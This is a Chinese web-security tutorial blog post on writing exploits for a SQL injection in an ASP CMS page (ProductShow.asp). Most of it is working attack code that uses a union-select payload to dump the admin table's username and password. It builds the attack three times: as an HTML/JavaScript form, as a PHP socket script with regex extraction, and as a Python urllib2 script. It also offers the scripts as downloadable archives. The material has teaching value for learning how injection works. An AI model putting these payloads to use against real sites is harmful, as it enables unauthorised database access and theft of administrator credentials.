WEB安全第七章exp编写一

暗月博客 2019年11月21日22:45:20评论412 views字数 3562阅读11分52秒阅读模式
摘要

WEB安全第七章exp编写 一 简单的exp编写
在 https://www.exploit-db.com/ 漏洞库里面 每天都可以很多新的漏洞发布。可是新的漏洞很多漏洞发布者 ,都是只给代码漏洞部分,更多的是没有详细的分析。更别说是漏洞利用程序了。

WEB安全第七章exp编写简单的exp编写


https://www.exploit-db.com/ 漏洞库里面 每天都可以很多新的漏洞发布。可是新的漏洞很多漏洞发布者 ,都是只给代码漏洞部分,更多的是没有详细的分析。更别说是漏洞利用程序了。

掌握漏洞编写的技能,随心所欲地编写漏洞利用程序,不仅能简化测试过程,而且可以让漏洞程序多种多样满足我们的需要。

一般的们多数接触的是WEB安全漏洞 (Web Application Exploits)这类较多。一般只需理解和掌握http协议即可。

简单的html基础也可以编写EXP了。下面我来为大家编写一个简单的exp。

既然是要写exp 首先要发现一个漏洞吧。漏洞哪里找。各大漏洞发布站。

http://www.exploit-db.com/  https://www.seebug.org http://0day5.com/

例如我们知道某个CMS有个注入漏洞。漏洞发布者提供了利用代码如下:

/ProductShow.asp?ID=105 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,username%2bCHR(124)%2bpassword,16,17,18,19,20,21,22,23,24,25,26 from admin

WEB安全第七章exp编写一


只要把这段代码放在URL里面测试就可以得到网站管理员的帐号和密码。

根据这段利用代码用html写一个简单的exp利用程序。

<!DOCTYPE html> <!--         作者:92moon.com         时间:2018-08-22         描述:html exp 编写 --> <html>         <head>                 <script>                         function exploit() {                                 var x= document.getElementById("url").value                                 var c = document.getElementById("myform").action=x+"/ProductShow.asp"                                 if(x){                                                                                  document.getElementById('myform').submit()                                                                                  }else{                                                 alert("填写网址")                                         }                                                                  }                                  </script>                                          <meta charset="UTF-8">                 <title></title>         </head>         <body>                 <form id="myform">                         <input type="text" id="url" size="50px">                         <input type="hidden" name="id" value="105 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,username+CHR(124)+password,16,17,18,19,20,21,22,23,24,25,26 from admin">                         <input type="button" value="利用" onclick="exploit()"/>                 </form>         </body> </html> 

WEB安全第七章exp编写一

执行结果如果下面两图

WEB安全第七章exp编写一

WEB安全第七章exp编写一

exp下载 exp.rar

可以看到通过js和html的结合 一个简单的html exp就编写出来了。

WEB安全第七章exp编写一

通过wireshark 抓包工具 抓到的这些包,里面就是一些http信息。在用php编写exp的时候这些包的信息就可以拿过来用了。

<?php $site="www.asp.com"; $payload="ProductShow.asp?id=105+union+select+1%2C2%2C3%2C4%2C5%2C6%2C7%2C8%2C9%2C10%2C11%2C12%2C13%2C14%2Cusername%2BCHR%28124%29%2Bpassword%2C16%2C17%2C18%2C19%2C20%2C21%2C22%2C23%2C24%2C25%2C26+from+admin"; $fp = fsockopen($site, 80, $errno, $errstr, 30); if (!$fp) {     echo "$errstr ($errno)<br />/n"; } else {     $out = "GET /{$payload} HTTP/1.1/r/n";     $out .= "Host:{$site} /r/n";     $out .= "Connection: keep-alive/r/n/r/n";     $out .="Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8/r/n";     $out .="Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2/r/n";     fwrite($fp, $out);     while (!feof($fp)) {         echo fgets($fp, 128);     }     fclose($fp); } ?>

php exp 漏洞利用程序。php.exe exp.php 这样会在cmd命令下获取很多网页源码 

WEB安全第七章exp编写一

运行exp的时候最好能直接输出所需的内容。

将exp.php再进行数据截图。修改一些代码即可。

payload漏洞利用代码也要进行修改 方面进行数据截取,方法是用php正则函数preg_match() 正则 ~xxxxxxx~ 这个部分内容。


<?php $site="www.asp.com"; $payload="ProductShow.asp?id=105+union+select+1%2C2%2C3%2C4%2C5%2C6%2C7%2C8%2C9%2C10%2C11%2C12%2C13%2C14%2CCHR(126)%2Busername%2BCHR(124)%2Bpassword%2BCHR(126)%2C16%2C17%2C18%2C19%2C20%2C21%2C22%2C23%2C24%2C25%2C26+from+admin"; $fp = fsockopen($site, 80, $errno, $errstr, 30); if (!$fp) {     echo "$errstr ($errno)<br />/n"; } else {     $out = "GET /{$payload} HTTP/1.1/r/n";     $out .= "Host:{$site} /r/n";     $out .= "Connection: keep-alive/r/n/r/n";     $out .="Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8/r/n";     $out .="Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2/r/n";     fwrite($fp, $out);     while (!feof($fp)) {         $html.= fgets($fp, 128);     }     fclose($fp);          preg_match("/~(.*?)~/", $html,$hash);     if ($hash){                          echo $hash[1];     }else{             echo "null";     }      }  ?> 

exp.php下载 exp(1).rar


在php环境下运行如图得到帐号和密码。


WEB安全第七章exp编写一


用python编写相对其他比较简单 直接用包就 编写几行代码能实现以上的功能。


    #coding:utf-8     import urllib2     import re      #获取payload源码     def get_page(url):         payload='/ProductShow.asp?id=105+union+select+1%2C2%2C3%2C4%2C5%2C6%2C7%2C8%2C9%2C10%2C11%2C12%2C13%2C14%2CCHR(126)%2Busername%2BCHR(124)%2Bpassword%2BCHR(126)%2C16%2C17%2C18%2C19%2C20%2C21%2C22%2C23%2C24%2C25%2C26+from+admin'         req = urllib2.Request(url+payload)         response = urllib2.urlopen(req)         page = response.read()         return page      #正则获取帐号和密码     def exploit(url):         html = get_page(url)         try:             m = re.search('~(.*?)~', html)             return m.group(1)         except:             return ''             url = 'http://www.asp.com/'     print exploit(url)


exp.py 下载 exppy.rar

python exp.py 执行如图

WEB安全第七章exp编写一


下一篇 POST注入编写 敬请期待。

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
暗月博客
  • 本文由 发表于 2019年11月21日22:45:20
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   WEB安全第七章exp编写一https://cn-sec.com/archives/73659.html

发表评论

匿名网友 填写信息